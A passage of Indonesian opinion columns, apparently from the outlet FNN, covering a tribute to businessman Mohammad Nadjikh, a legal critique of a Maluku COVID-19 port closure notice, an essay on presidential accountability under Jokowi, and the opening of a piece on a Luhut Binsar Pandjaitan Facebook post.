saja, tentunya setidaknya bagi keluarga kami,” begitu kata pengantar Pa Nadjikh dalam buku biografinya. Nadijikh adalah sosok yang sederhana dan low profile. Namun skala perusahaannya telah membesar dan tumbuh pesat, tetapi ketokohannya hampir tidak banyak dimuat di media massa, khususnya media mainstream. Ketika penulis masih bekerja sebagai wartawan di salah satu media mainstream di Ibu Kota, saya harus berulang kali membujuk dan meyakinkan Nadjikh agar dia mau ditulis sekaligus berbagi cerita tentang cerita sukses membangun usahanya. Waktu itu, kata Nadjikh, tidak penting siapa dirinya, yang lebih utama usahanya bisa berkembang menjadi perusahaan yang besar dan bermanfaat bagi masyarakat dan bisa bersaing di dunia global. Dalam buku biografi Pa Nadjikh, sejumlah kalangan telah memberikan testimoni. Mereka itu adalah pengusaha Chairul Tanjung, dan Dahlan Iskan, Rektor IPB Dr Arif Satria Spi Msi, dan Ketua Umum Pengurus Pusat Muhammadiyah Dr KH. Haedar Nashir MSi, Guru Besar IPB Prof Dr Eriyatno, Prof Dr Ir Rokhmin Dahuri MS, mantan Mendiknas yang sekarang menjadi Ketua Dewan Pers Prof Dr Ir Muhammad Nuh dan mantan Bupati Bojonegoro, Dr Suyoto MSi. Pa CT dalam testimoninya antara lain menyebutkan, sukses yang diraih Nadjikh itu tidak mudah seperti membalikkan telapak tangan. Nadjikh merangkak dari bawah dalam memulai usahanya. Dia kerja keras berjibaku dalam mencari dan menciptakan peluang usaha, membangun jaringan bisnis dan meniti anak tangga dari usaha yang bersifat informal sampai menjadi usaha berskala besar seperti saat ini. “Nadjikh cerdas dalam mengembangkan arah perusahaannya,” kata Pa CT. Sementara itu Dr KH. Haedar Nashir MSi, dalam testimoninya mengaku sudah lama mengenal Mohammad Nadjikh. “Warga dan kolega Muhammadiyah memanggil namanya Pak Nadjikh. Pembawaannya ramah dan riang sebagaimana pada umumnya kawan-kawan dari Jawa Timur. Orang dibuatnya tidak sungkan, sehingga nyaman dalam berinteraksi. Saya mengenal lebih dekat setelah Pak Nadjikh diamanati sebagai Ketua Majelis Ekonomi dan Kewirausahaan (MEK) PP Muhammadiyah periode Muktamar Makassar 2015-2020,” kata Haedar. Pak Nadjikh sebagai pengusaha sukses memperoleh amanat menjadi Ketua MEK karena keberhasilan dan pengalamannya dalam dunia usaha atau bisnis. Setelah merintis dan mengembangkan usaha selama 25 tahun, selanjutnya pada 25 tahun selanjutnya Nadjikh berencana untuk membentuk yayasan yang bergerak di bidang pemberdayaan ekonomi, pendidikan dan kesehatan. Menurut Nadjikh, yayasan ini nantinya akan dipimpin oleh seorang profesional, dimana sumber pendanaannya tidak hanya bersumber dari perusahaan (Kelola Group) tetapi juga berasal dari sumber-sumber lain melalui kerjasama dengan berbagai lembaga resmi maupun organisasi sosial lainnya. Nama yayasan tersebut kemungkinan bernama Nadjikh Foundation. Sebenarnya ide untuk mendirikan yayasan ini sudah ada sejak beberapa tahun sebelumnya, namun selama ini Nadjikh masih fokus mengembangkan perusahaan. Nadjikh khawatir kalau terlalu awal dibentuk nanti malah kegiatan yayasan yang lebih menonjol ketimbang aktivitas perusahaan. Selama ini kepedulian sosial perusahaan disalurkan melalui kegiatan tanggung jawab sosial perusahaan atau CSR (Corporate Social Responsibility). Mengenai kegiatan yayasan yang nanti akan dibentuk, Nadjikh memberikan gambaran besarnya. Di bidang pemberdayaan ekonomi, yayasan akan membantu daerah-daerah tertentu dan orang-orang yang membutuhkan modal usaha kecil. Melalui konsep dana bergulir, nanti yayasan memberikan pinjaman tanpa bunga namun tetap harus dikembalikan oleh si penerima modal. Meski bukan berupa lembaga perbankan, namun nantinya yayasan akan membantu membuat analisa kelayakan usaha dari setiap pinjaman yang diberikannya. Ini hanya modal awal saja sebagai stimulan, nanti kalau sudah berjalan dan butuh pengembangan usaha lebh lanjut akan dihubungkan oleh yayasan ke lembaga perbankan. Jenis usaha yang akan mendapat bantuan modal misalnya pembuatan perahu atau kapal untuk menangkap ikan, kemudian bantuan dan pinjaman modal kepada para petani dan nelayan yang menjadi mitra perusahaan. Bantuan modal juga diberikan kepada usaha rumahan yang terkait dengan rantai distribusi produk-produk perusahaan. Jadi misi yayasan membantu keluarga tidak mampu melalui pendidikan adalah untuk mendongkrak ekonomi keluarga. Ini dilakukan tidak lepas dari pengalaman Nadjikh sendiri, dimana dulu dia betapa susahnya mencari uang untuk membiayai sekolah dan kuliahnya di IPB Bogor. Untuk itu, melalui yayasan yang akan didirikannya, Nadjikh akan mencari orang-orang pintar berprestasi untuk disekolahkan hingga jenjang pendidikan sarjana. Program pemberian beasiswa ini akan bekerja sama dengan lembaga dan organisasi lain yang mempunyai misi dan visi yang sama. Kegiatan yayasan yang terakhir tidak lepas dengan pesan dari alamarhum ibunya Mohammad Nadjikh yang selalu berpesan kepada anak-anaknya untuk tidak melupakan shalat lima waktu dan menjadi orang yang bermanfaat bagi orang lain. Suatu waktu Ibu Asnah, ibunda Pa Nadjikh pernah mengatakan: “Kulo namung donga nyuwun Gusti Allah supados lare-lare sehat lan pangestu. Kulo ditinggal sedo bapake, lare-lare taksih alit-alit sedoyo. Kulo tansah sholat tahajud nyuwun dumateng gusti. Mboten nyuwun sinten-sinten. Nggih Alhamdulillah sedoyo saged mentas. Sedoyo seger-waras. Pokokipun dalem namun nglakoni sholat tahajud, dhuha, fajar. Menawi kepanggih siapa saja, putra-putri maupun cucu-cucunya yang ditanya pasti sholatnya. Meskipun putra dan cucunya sekolah di luar negeri, setiap memberi pesan pasti yang utama dan pertama adalah sholatnya”. Saya cuma bisa berdoa kepada Allah supaya anak-anak sehat dan berkah hidupnya. Waktu saya ditinggal bapak, usia anak-anak masih kecil. Saya selalu shalat Tahajud (shalat tengah malam) meminta kepada Allah, tidak pernah minta kepada siapa-siapa. Ya Alhamdulillah semua anak-anak telah berhasil dan semua sehat-sehat. Pokoknya saya hanya melakukan shalat Tahajud, Dhuha dan shalat Fajar. Kalau bertemu siapa saja, putra-putri maupun cucu-cucu, yang saya tanya pasti shalatnya. Meskipun mereka sekolah di luar negeri, setiap memberi pesan kepada mereka pasti yang utama dan pertama adalah sholatnya. Semoga Allah SWT menerima ibadah dan amal kebaikan almarhum Mohammad Nadjikh dan mengampuni segala dosa-dosanya. Amiin yaa robbal alamin.

Dampak Negatif Penutupan Pelabuhan Penumpang di Maluku

By Dr. Nasaruddin Umar Jakarta FNN – Ahad (18/04). Minggu ini publik Maluku diramaikan dengan beredarnya selebaran pemberitahuan, yang diduga dikeluarkan ketua Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Provinsi Maluku. Anehnya, selebaran yang beredar di dunia mainstream berbentuk surat tanpa di tanda tangani dan berstempel layaknya surat resmi yang keluarkan instansi resmi pemerintah. Surat yang sudah diberi Nomor: 30/GT-Promal/IV/2020 dan tertulis “ttd” diatas nama Kasrul Selang ST. MT. sebagai Ketua Harian. Saya juga mendapatkan pertanyaaan dari berbagai kalangan, baik melalui telpon dan WhatsApp tentang isu seputar selebaran tersebut. Sejak tulisan ini di buat, saya pribadi belum mendapatkan informasi tentang kebenaran pengumuman ini. Informasi yang beredarpun juga belum diklarifikasi oleh pemerintah daerah. Namun informasi yang saya peroleh ini adalah tidak lanjut dari rapat koordinasi Tim Gugus Maluku, Pemerintah Provinsi Maluku, DPRD Maluku, yang salah satu keputusan adalah soal rencana penutupan pelabuhan. Disamping itu informasi yang beredar, sebagai tindak lanjut dari pemberitahuan ini, pihak Pengelola Pelabuhan telah mengeluarkan pengumuman kepada pengguna jasa lintasan pelabuhan Waipirit-Hunimua bahwa terhitung tanggal 17 April 2020 sampai dengan tanggal 01 Mei 2020 untuk sementara tidak melayani penumpang pejalan kaki, kendaraan roda dan kendaraan penumpang (Gol.IV.V dan VI). Artinya isi pengumuman tersebut telah berlaku dan diterapkan dan secara mutatis mutandis konsep model PSBB telah dipraktikkan secara “diam-diam” di Maluku. Padahal Provinsi Maluku ataupun Kota Ambon dengan data 14 positif covid-19 belum masuk kategori zona merah, apalagi belum mendapat izin pemberlakukan PSBB dari Pemerintah Pusat. Bisa dibayangkan, suatu norma yang sifatnya pelarangan, bisa dieksekusi oleh wadah kebijakan melalui pengumuman. Pembatasan hak warga negara tidak dilakukan melalui keputusan yang sifatnya beschikking atau peraturan Gubernur dalam bentuk beleid atau peraturan. Sebab bagaimanapun dalam tradisi dan sistem hukum nasional, pengaturan pembatasan atau kaidah hukum hanya bisa dituankan dalam kedua nomenklatur instrumen hukum tersebut. Kebijakan yang diambil tanpa adanya wewenang atau authority hukum yang jelas merupakan perbuatan onrechmatige. Melanggar prinsip wet matigheid vanbestuur atau asas legalitas. Artinya, semua perbuatan pemerintahan harus dapat di pertanggungjawabkan di mata hukum. Kalau kita mencermati isi pemberitahuan tersebut, memang memuat beberapa point-point yang sifatnya informative. Ada ketentuan yang memuat pelarangan atau istilah yang digunakan “tidak diperkenankan” angkutan antar kota untuk mengangkut penumpang atauorang. Juga tentang rencana penutupan pelabuhan dan pelabuhan penyebranganbagi orang atau penumpang, serta tidak diperkenangkan angkutan Antar Kota Dalam Provinsi (AKDP) untuk mengankut orang atau penumpang. Memperhatikan konten pengumuman ini, jika benar adanya, akan menimbulkan permasalahan hukum dan beraspek pada kepentingan warga masyarakat maluku secara keseluruhan. Sebab apa dasar hukum penutupan tersebut pelabuhan? Apalagi Maluku belum ditetapkan sebagai Provinsi atau Kota yang berstatus sebagai Pembatasan Sosial Berskal Besar (PSBB) dari Pemerintah Pusat. Syarat mengenai PSBB diatur dalam pasal 3 ayat (1) Permenkes No. 9 Tahun 2020 tetang Pedoman Pembatasan Sosial Berskala Besar dalam Rangka Percepatan Penanganan Covid-19. Persyaratan PSBB ini akan kontradiksi dengan maklumat Gubernur Maluku yang terakhir soal pembatasan dan penundaan orang masuk ke wilayah Maluku. Bukan soal penutupan pelabuhan dan penyeberangan. Maklumat Gubernur Maluku tersebut mengatur sistem karantina terhadap setiap orang yang masuk ke wilayah Maluku. Apakah maklumat itu dicabut atau masih berlaku? Pengumuman ini jelas bertentangan dengan Maklumat Gubernur Maluku. Belum lagi akibat hukum yang akan terjadi dibalik rencana keputusan ini. Bagaimana nasib aktivitas ekonomi dan mobilitas masyarakat? Apakah telah dipastikan masyarakat telah mendapatkan bantuan dari pemerintah yang selama ini telah dijanjikan? Tentu dalam aspek hukum perundang-undangan, kebijakan seperti ini akan bermasalah dari sisi hukum. Baik secara bentuk dan format hukumnya, maupun dari sisi landasaan hukum yang digunakan. Misalnya, Kepres No.7/2020 tentang Gugus Tugas Percepatan Covid-19 Tentang Tata Cara Penanganan Covid-19 di daerah. Pada pasal 11 ayat (2), disebutkan bahwa penanganan Covid-19 di daerah dilakukan dengan memperhatikan arahan ketua pelaksana Gugus Tugas Percepatan Penanganan Covid-19. Ketentuan ini jelas memberikan batasan atau bersifat restriksi hukum kepada daerah, termasuk Tim Gugus Tugas dalam mengambil segala keputusan sepanjang menyangkut penanganan Covid-19. Artinya, dalam konteks penangan Covid-19 di daerah harus memperhatikan arahan atau kebijakan dari Pemerintah Pusat. Tidak asal bikin pengumuman. Sebab bisa menimbulan pertanyaan di masyarakat. Pertanyaan pertama, apakah kebijakan yang dibuat Tim Gugus Tugas Daerah Maluku dalam pemberitahuan tersebut telah melalui konsultasi atau sesuai arahan dari Ketua Pelaksana Gugus Tugas Percepatan Penanganan Covid-19? Jika sudah, maka kebijakan dalam pemberitahuan tersebut dengan sendirinya menjadi suatu kebijakan yang sah (rechtmatige). Pertanyaan kedua, apakah telah dilakukan koordinasi dengan kementerian/lembaga pemerintaha non kementerian, instansi pemerintahan baik pusat maupun daerah, swasta, serta pihak lain yang dianggap perlu? Sebab dalam Kepres di atas (aquo) pasal 12 telah menegaskan perlunya dilakukan koordinasi dalam pelaksanaan Gugus Tugas Percepatan Penanganan Covid-19 dalam melaksanakan tugasnya. Koordinasi ini berkaitan dengan rencana Pemerintah Provinsi akan melakukan tindakan pemerintahan berupa penutupan sementara sejumlah pelabuhan penyebrangan di provinsi Maluku seperti Pelabuhan Yos Sudarso, Pelabuhan Slamet Riyadi, Pelabuhan Tulehu, Hitu, Tohoku, Pelabuhan Penyebrangan Galala, Waai, Hunimua khusus bagi penumpang atau orang. Termasuk larangan angkutan Antar Kota Dalam Provinsi (AKDP) untuk mengankut orang atau penumpang. Meskipun ketentuan koordinasi bukan suatu keharusan, namun dalam tataran pelaksanaan kebijakan di lapangan akan menimbulkan ekses negatif. Bagaimana jika instansi atau swasta yang berkepentingan dengan pelabuhan atau bandara, seperti mobil angkutan dirugikan? Jika terjadi pembangkangan atas kebijakan tersebut akan menimbulkan banyak persoalan di kemudian hari. Perlu adanya koordinasi, sosialisasi dan persetujuan dari rencana kebijakan ini. Dalam teori legitimasi dan validitas hukum (legal validity), agar suatu kaidah hukum termasuk keputusan administrasi pemerintahan menjadi legitimate dan sah (valid) berlakunya, maka perlu memenuhi syarat. Misalnya, kaidah hukum tersebut haruslah dirumuskan ke dalam berbagai bentuk aturan formal, seperti dalam bentuk pasal-pasal dan dibuat secara sah oleh pejabat yang berwenang. Lebih penting lagi, aturan hukum tersebut harus dapat diterapkan oleh badan-badan yang menerapkan hokum. Contohnya, aparat kepolisian, satuan polisi pamon praja, kejaksaan, dan pengadilan. Juga harus diterima dan dipatuhi oleh masyarakat. Dua poin terakhir inilah yang menjadi syarat utama efektivitas berlakunya kaidah hukum jika nantinya diterbitkan keputusan pelarangan tersebut. Diktum ke-2 dan ke 5 pemberitahuan itu menyebutkan, penutupan akan dilakukan oleh Pemerintah Provinsi Maluku, dan berlaku sejak tanggal 17 sampai 1 Mei 2020. Berarti penutupan dimulai pada hari Jumat, 17 April 2020. Yang akan melakukan kebijakan penutupan ini adalah Pemerintah Provinsi Maluku. Bukan Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Provinsi Maluku. Ada dua pesoalan yang menimbulkan pertanyaan mendasar. Pertama, batas waktu pemberitahuan dengan waktu penutupan hanya dua hari, yaitu sejak dikeluarkannya pemberitahuan tanggal 15 April 2020 sampai 17 April 2020. Bisa dibayangkan bagaimana soal koordinasi, sosialisasi di lapangan? Banyaknya kelompok masyarakat yang berkepentingan atau stakeholder yang terdampak, seperti mobil anngkutan AKDP, kapal penyebrangan, orang-orang yang menggantungkan hidup di sektor pelabuhan. Ada penjual, pedagang “jibu-jibu”, ojek, tukang becak, mobil rental dan lain-lain. Bagaimana nasib mereka selanjutnya? Yang pasti mata pencaharian terputus. Apakah ada kompensasi untuk mereka? Apakah sudah dilakukan pendataan, sehingga dipastikan mereka yang terdampak berapa? Bagaimana pemerintah menyiapkan konvensasi buat mereka? Kita tidak ingin dan berharap ada warga masyarakat maluku yang harus makan “tikus” seperti yang viral di media pada buru migran, sebagai akibat dari kehabisan ekonomi dan bahan makananan yang layak. Semoga ada langkah nyata dari pemerintah Provinsi Maluku dan Tim Harian Gugus Tugas Covid-19 Maluku. Terutama dalam melihat permasalahan ini, sehingga akibat negatif yang muncul bisa diatisipasi. Ini perlu sebagai sekibat dari ketergesaan sebuah kebijakan tanpa adanya norma dan pengaturan atas perlindungan warga masyarakat dalam sebuah sistem regulasi yang baik. Secara hukum, setiap kebijakan atau tindakan pemerintahan haruslah dibuat melalui sistem regulasi yang tersedia sesuai UU No. 12 tahun 2011 tentang Pembentukan Perundang-Undangan seperti Peraturan Gubernur dan Keputusan Gubernur ,sehingga hak-hak masyarakat bisa terlindungi. Tidak terjadi mall administrasi dan abuse of power. Teoritis efektivitas hukum seperti yang diajarkan Selo Soemardjan (1965) bahwa dalam efektifnya hukum, pentingnya usaha-usaha penanaman hukum di dalam masyarakat, agar warga masyarakat mengetahui, menghargai, mengakui, dan menaati suatu aturan hukum dan jangka waktu penanaman hukum seperti sosialisasi, koordinasi lebih panjang usaha penanaman hukum itu. Semoga Pemerintah daerah Provinsi Maluku dan Tim Gugus Covid-19 lebih hati-hati dan bijaksana dalam mengambil setiap keputusan. Sebab dalam penanganan Covid-19 tidak hanya menyelamatkan manusia dari sisi kesehatan semata. Ada aspek-aspek lain. Kebijakan Pemerintah daerah Malu hendaknya berbanding lurus dengan perlindungan dan penyelematan terhadap hak-hak warga negara dari sisi hak hidup yang lain. Misalnya, hak atas pekerjaan, hak mendapatkan penghidupan yang layak, hak ekonomi, hak beribadah, hak akses sosial kemasyarakatan. Semua hak-hak tersebut merupakan deratan hak warga negara (ground rechten) dan hak asasi manusia (mensenrechten) yang dijamin dalam konstitusi UUD 1945. Sekali lagi kondisi dalam kedaruratan pandemi Corona virus seperti ini tidak harus menghilangkan kewarasan kita, dan cara-cara berhukum yang baik dan benar. Bagaimanapun negara ini adalah negara hokum. Supreme of law yang harus dijunjung tinggi. Semoga kebijakan ini meskipun inprosedural hokum, namun dapat efektif memutus peredaran covid-19 di Maluku. Namun tetap mengantisipasi akses negatif yang timpul dari kebijakan ini. Semoga saja. Amiin. Penulis adalah Pengajar Hukum Tata Negara IAIN Ambon

Kepresidenan Pak Jokowi Terlihat Buruk?

By Dr. Margarito Kamis Jakarta FNN – Ahad (19/04). Presiden itu pemerintah, dan pemerintah itu presiden. Tidak lebih, apapun argumennya. Itulah konsekuensi konstitusional dari pasal 4 ayat (1) Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 (UUD 1945), suka atau tidak. Penyelenggaraan kekuasaan pemerintahan berpusat di kantor presiden (kepresidenan). Dalam kerangka itu, Presiden dibantu dua figur tata negara. Kedua figur itu adalah Wakil Presiden dan menteri-menteri. Wakil Presiden, dengan demikian, menjadi figur pertama dalam terminologi membantu presiden. Ini diatur pada pasal 4 ayat (2) UUD 1945. Figur kedua, menteri-menteri. Ini diatur pada pasal 17 UUD 1945. Walau sama-sama berfungsi membantu Presiden, namun Wakil Presiden diberi kapasitas hukum berbeda dengan menteri oleh konstitusi. Menariknya, walau Wakil Presiden diberi kapasitas lebih tinggi dari menteri-menteri, tetapi UUD 1945 tidak mendefenisikan secara spesifik fungsi wapres. Presiden, suka atau tidak, eksis disepanjang penalaran konstitusional sebagai chief of government. Bahkan dapat dikatakan chief of the chief. Presiden adalah bosnya Wapres, juga bosnya menteri. Suka atau tidak. Tertib kehidupan berkonstitusi mengharuskan siapapun menerima konsekuensi itu. Soal Penghinaan Kepresidenan telah sangat eksis. Itu jelas. Serangkaian kebijakan menangani Corona telah dikeluarkan sejauh ini. Kebijakan-kebijakan itu, satu dan lainnya mengundang tanggapan sangat kritis. Tetapi entah bagaimana saja isi kritik sebagian orang, cara pandang kekuasaan segera menjatuhkan lebel sebagai penghinaan terhadap presiden. Terlihat dari energi besar keluarnya kebijakan penegakan hukum kepada siapapun yang “menghina presiden.” Apakah kebijakan ini keluar atas perintah, setidaknya brifing Presiden atau prakarsa mandiri Kepolisian? Tidak jelas. Tetapi apapun itu, kebijakan ini menarik dilihat dari sudut tata negara. Dalam pandangan tata negara kebijakan itu mesti dipertalikan dengan pasal 207 KUHP. Menariknya, pasal 27 UU ITE, entah bagaimana penalarannya, juga disangkut-pautkan. Padahal dua pasal ini memiliki perbedaan sangat fundamental dalam rute tata negara. Pasal 207 KUHP menggunakan terminologi “penguasa atau badan umum”. Maknanya pasal ini menjadikan “status tata negara” pada subyek yang dihina sebagai keadaan yang menentukan. Keadaan penentu ini tidak dimiliki oleh pasal 27 UU ITE. Pasal ini menunjuk subyek hukum umum, siapa saja, natural person. Pasal ini tidak menjadikan status tata negara sebagai keadaan penentu. Oleh karena pasal 207 KUHP itu menjadikan “penguasa atau badan hukum umum” sebagai keadaan penentu, maka siapa saja yang memegang kekuasaan umum, termasuk kepala desa dan kantor desa menjadi subyek pasal ini. Mengapa? Secara hukum kepala desa menyandang status hukum sebagai penguasa umum pada level desa. Kantor desa menyandang status hukum sebagai badan hukum umum. Bagaimana dengan konsekuensi yang ditimbulkan dari pasal 27 UU ITE disisi lain? Dilihat dari sudut tata negara, pasal ini mengaburkan “status presiden” sebagai manusia artifisial. Karena terminologi presiden menunjuk pada nama jabatan. Nama ini, bukan dan tidak pernah dalam ilmu hukum manapun di dunia ini, disandang manusia dalam makna natural. Nama itu “presiden” bukan bawaan alamiah. Status artifisial inilah, sekali lagi, dikaburkan oleh pasal 27 UU ITE itu. Apa konsekuensinya? Pasal ini mengakibatkan presiden memiliki dua status pada saat yang bersamaan. Presiden berstatus sebagai manusia alamiah, natural person, sekaligus sebagai legal person. Konsep ini khas hukum anglo saxon yang dipraktikan Inggris sebelum akhir abad ke-17. Dalam hukum ini Raja memiliki double status. Padanya melekat dua kapasitas hukum. Kapasitas sebagai manusia natural, dan sebagai manusia artificial. Status artifisial itu menunjuk raja sebagai pemegang kekuasaan pemerintahan dalam kerajaan. Dalam konteks sebagai penyelenggaraan pemerintahan, menurut hukum anglo saxon, raja atau ratu berstatus sebagai the body of politics. King as a body of politics. Hukum anglo saxon, menggariskan raja as a political body, menjadi subyek hukum publik. Tindakan-tindakannya dibatasi oleh hukum. Raja dapat dimintai pertanggung jawaban. Ini diterangkan oleh John Cowel, dalam kajiannya “interpreter”, yang dikutip Eric Enlow, dalam article “The Corporate Conception of The State and the Origin of Limited Constitutional Government”. Apa konsekuensi teknis dari penggabungan pasal 207 KUHP dan pasal 27 UU ITE itu? Secara hukum tindakan-tindakan presiden tidak dapat dibedakan. Dapat diklasifikasikan sebagai tindakan pribadi dan tindakan jabatan. Akibatnya, kritik padanya sebagai presiden bernilai sebagai kritik terhadap dirinya sebagai pribadi. Natural person. Ini sangat buruk. Pada konteks inilah saran kritis Pak SBY beberapa waktu lalu memiliki makna yang bagus, berkelas dan bermutu tinggi. Mainannya Wall Street Pasal 27 dan 28 Perpu Nomor 1 Tahun 2020 yang panjang judulnya itu, dapat dimengerti dalam konteks di atas. Mengapa? Dua pasal ini mengaburkan konsep natural person dan legal person. Kekaburan itu tercermin dari penegasan pejabat-pejabat itu tidak bisa dimintai tanggung jawab hukum pidana, perdata dan tata usaha negara. Juga proses perumusan dan pelaksanaan kebijakan dikeluarkan dari kontrol DPR. Negara dikelola, setidaknya dalam isu ini, dengan nalar beraroma abad kegelapan. Nalar ini telah terserap dalam liberalisme dan kapitalisme global. Caranya, yang satu dan lainnya tidak mudah dikenali. Mengapa begitu? Liberalisme dan kapitalisme global menyembunyikan watak leviathan itu dalam rule of law, efisiensi, pasar global, transparansi dan akuntabilitas. Tabiat leviathan mengambil bentuk berupa negara besar, tetap besar dalam semua aspeknya. Yang kecil ya tetap kecil dalam semua aspeknya. Yang besar yang menentukan rule of the game. Yang kecil bermain di dalam rules mereka. Itulah kredo demokrasi leviathan, demokrasi liberal. Dalam tampilan praktisnya, demokrasi membenarkan terjadinya penindasan, sembari mengaburkannya dengan sorak-sorai olimpian khas Walter Lippman. Sisi-sisi itu juga terlihat pada kebijakan Kartu Pra-Kerja. Kartu “tak sakti ini” ternyata tak membuat pemegangnya mendapatkan pekerjaan. Pemegang kartu ini hanya diberi pelatihan secara “online”. Berapa biaya pelatihan Online? Triyunan rupiah bung. Siapa yang menjadi pelatihnya? Siapa yang bertindak sebagai pengelola pelatihan? Korporasi besar yang culas dan tamak? Atau jin dan iblis? Yang pasti bukan jin, bukan pula iblis. Lalu siapa mereka? Wallau a’alam bishawab. Gelap segelap-gelapnya. Sial betul, pemerintah mengistimewakan usaha online ini. Usaha motor yang terkait dengan online, dibenarkan membawa penumpang ditengah PSBB. Hebat, mereka juga diberi discount beli minyak dari Pertamina. Ojek dan angkot biasa? Tidak. Begitulah nalar praktis kebijakan yang terlihat bernafaskan liberal dan berjiwa leviathan tersebut. Aroma leviathan itu juga bekerja dalam kebijakan surat berharga global,atau “global bond”. Ini mahluk berasal-usul dari dunia Wall Street di Amerika sana. Mahluk ini berjiwa hutang demi hutang, dengan nama dan bentuk yang berbeda. Bond ini, entah berapa ratus trilyun nilainya. Tetapi tenornya kalau tak salah 70 tahun. Tragis sekalai. Duit itu kelak dipakai membiayai sejumlah hal yang lumayan hebat. Bansos, kartu pra-kerja, relaksasi kredit, plus bunga kredit dari korporasi, restitusi pajak dan juga UMKM. Semua itu butuh uang. Kenyataannya kas negara tak cukup menyediakan uang sebesar itu. Jadi? Jual saja apa yang bisa dijual dan berhutang saja kepada rentenir global yang bisa kasih hutang. Simpel saja. Itulah respon atas keadaan. Bukan hanya keuangan, tetapi juga ekonomi yang dalam pandangan sejumlah ekonom, memang telah babak belur saat ini. Tetapi responnya harus tepat. Bila tidak tepat, maka setiap kebijakan akan mempercepat bangsa ini bergerak ke lautan bangsa kuli, sebagaimana rancangan Belanda dulu. Ketepatan respon dalam mengelola ekonomi, tampak menjadi argument, entah utama atau sampingan, dibalik kebijakan membiarkan kereta api beroperasi hingga saat ini. Sama-samar, tetapi argumen sejenis terlihat bekerja dibalik kebijakan tak jelas atas mudik. Boleh jadi, argumen itu pula berada dibalik tenaga kerja asal China yang dibiarkan terus masuk ke Indonesia di tengah gunung pengangguran saat ini. Bangsa ini memang harus terus memutar akalnya agar bisa berlari mengejar impian menjadi negara hebat. Kualifikasi Trump terhadap negara ini sebagai kaya, tak bisa sepenuhnya ditelan. Trump, yang dikenal cerdik, hanya membuat bangsa ini terlena. Sebutan itu hanya akan membuat bangsa ini mati akal, sehingga terus berada dipersimpangan jalan maju dengan ladang hutang. Setelah itu mundur juga dengan hutang. Pelajaran Pak Harto Semua kebijakan di atas sejauh ini, lahir dari kreasi menteri. Sejauh Presiden tidak menilai, terbuka atau tertutup, bertentangan dengan isi fikiranya, kebijakan itu harus dilihat sebagai tindakan kepresidenan. Suka atau tidak. Konsekuensinya Presiden memikul tanggung jawab konstitusional atas kebijakan itu. Kepresidenan Pak Harto, presiden yang cukup sering dituduh otoriter. Menampilkan otoriter secara aktual dalam seluruh spektrum pemerintahannya. Pak Harto membiarkan pembantunya membuat kebijakan, apapun itu. Tetapi semuanya masuk dalam radar Pak Harto. Tidak ada menteri, siapapun mereka, sehebat apapun orang itu dilihat masyarakat, yang tak berada dalam kontrol khas Pak Harto. Serangkaian fakat itu dirangkai secara bernas oleh Profesor Salim Said, Jurnalis Senior yang jadi ilmuan politik kawakan ini. Itu dituangkan dalam buku berjudul “Dari Gestapu ke Reformasi, Serangkaian Kesaksian.” Benny Moerdani, sosok yang tampil sebagai penjaga Pak Harto paling tangguh ini, dalam kenyataannya tidak berdaya, ketika Pak Harto tak lagi berkenaan dengan sepak terjangnya. Benny Moerdani, sosok yang juga menakutkan Profesor Salim itu, akhirnya diberhentikan dari jabatannya. Benny Moerdani tak bisa berbuat apa-apa. Bukan hanya Benny, Ali Moertopo, dengan CSIS sebagai lembaga pemikirnya, dan dikenal sebagai sosok lain yang tangguh membantu Pak Harto, diberhentikan juga oleh Pak Harto. Begitulah kepresidenan Pak Harto. Apakah tindakan-tindakan Pak Harto itu dimungkinkan, karena Pak Harto sendiri merupakan figur utama bangsa ini. Bahkan ia diserupai dalam kenyataan dengan negara? Apa karena sistem kala itu otoritarian? Kenyataan dibumi demokrasi mutakhir, Amerika misalnya, layak dijadikan bandingan. Kenyataan itu mengharuskan siapapun melupakan dimensi otoritarian Pak Harto sebagai faktor pembenar kecanggihannya mengelola pembantu-pembantunya. Sama dengan Pak Harto, Trump berhentikan siapa saja yang dinilai tak sejalan dengan aris kebijakannya. Dia tidak peduli siapa mereka. John Kerry yang Menlu, Direktur FBI James Commey, Rex Tillarson, Menlu lagi, dan Joseph Mequire, pejabat Deputi Administrasi FBI, semuanya sama, diberhentikan. Benar-benar sama dengan Pak Harto, Presiden Trump menempatkan diri sebagai bos of the bos menurut konstitusi mereka. Selain orang-orang di atas, John Bolton, penasihatnya untuk urusan keamanan nasional, juga sama nasibnya, diberhentikan. Bahkan cukup heboh, Steve Banon, mantan Ketua Tim Kampanyenya, yang memasuki gedung putih sebagai staf senior Trump, juga diberhentikan. Apakah Presiden Jokowi tidak diberi privilege dan kapasitas konstitusional yang sama dengan Pak Harto? Pasal 4 UUD 1945 tidak berubah sama sekali. Pasal 17 UUD memang berubah, tetapi tidak dalam substansinya. Itu sebabnya kewenangan Pak Jokowi sama dengan Pak Harto dalam konteks konstitusi. Begitulah sistem prsidensial bekerja menempatkan Presiden dalam penyelenggaraan pemerintahan negara. Penilaian terhadap sebuah pemerintahan dalam bersistem presidensial mengharuskan siapapun menilai kebijakan menteri merupakan gambaran aktual kebijakan Presiden. Dalam konteks itu, buruknya pemerintahan bermakna buruknya kepresidenan. Suka atau tidak. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Memahami Pak Luhut Lewat Status Facebooknya

Oleh Asyari Usman Jakarta, FNN - Meskipun sudah agak lama, cukup menarik membaca status di akun FB Luhut Binsar Pandjaitan (LBP) edisi 9 April 2020. Status blak-blakan ini mendapat sambutan beragam. Reaksi khalayak medsos ‘meledak’. Ada 3,600-an share dengan 9,400-an komentar yang pro dan kontra. Mau disebut curhatan Pak Luhut, bisa juga. Banyak yang menilai begitu. Tapi, ‘core business’ postingan ini adalah keinginan “Menteri Segala Urusan” itu untuk menunjukkan bahwa dia (a)seorang pria keras tapi punya hati; (b)ingin berbuat yang terbaik untuk Indonesia; (c)ingin memberikan semacam ‘lead’ (bimbingan) kepada rakyat; dan (d)ingin melihat bangsa Indonesia menjadi bangsa yang terdidik. Inilah daftar pemahaman saya tentang postingan itu. Pemahaman Anda tentu bisa lain. Di alinea (paragraf) 1, 2, 3, dan 4, LBP memperkenalkan diri sebagai orang yang keras dan tegas. Tak takut mati sewaktu menjadi tentara. Tapi juga punya hati. Dia merasa bersalah besar karena harus berpisah dari keluarga ketika menjalankan tugas sebagai tentara. Namun, rata-rata tentara tampaknya mengalami liku hidup yang sama seperti pengalaman Pak Luhut. Bahkan, banyak kisah yang lebih memilukan. Yang sangat menarik ada di alinea ke-5. Di sini, LBP menulis: “Sapta Marga mengajarkan saya 